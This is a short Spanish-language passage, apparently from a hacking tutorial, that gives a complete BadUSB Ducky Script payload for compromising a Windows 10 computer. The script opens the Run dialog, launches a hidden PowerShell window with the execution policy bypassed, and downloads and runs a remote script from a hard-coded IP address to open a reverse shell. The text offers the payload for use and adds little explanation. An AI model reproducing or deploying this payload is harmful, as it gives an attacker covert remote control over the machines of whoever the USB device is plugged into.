Para comprometer un equipo Windows utilizando un BadUSB podriamos utilizar el siguiente script:
REM Title: Reverse shell Via PowerShellREM Author: Gerardo EliasibREM Description: Opens powershell and starts a reverse shell in hidden Powershell windowREM Target: Windows 10 (CMD, Powershell)REM Version: 1.0REM Category: Remote AccessDELAY 300GUI rDELAY 20REM --> Utilizando IEX para realizar un GET por medio de la memoria comunicarse con nuestra ReverseShell.ps1STRING powershell -w h -NoP -NonI -Ep Bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.189.129/Invoke-Spartan.txt');
ENTER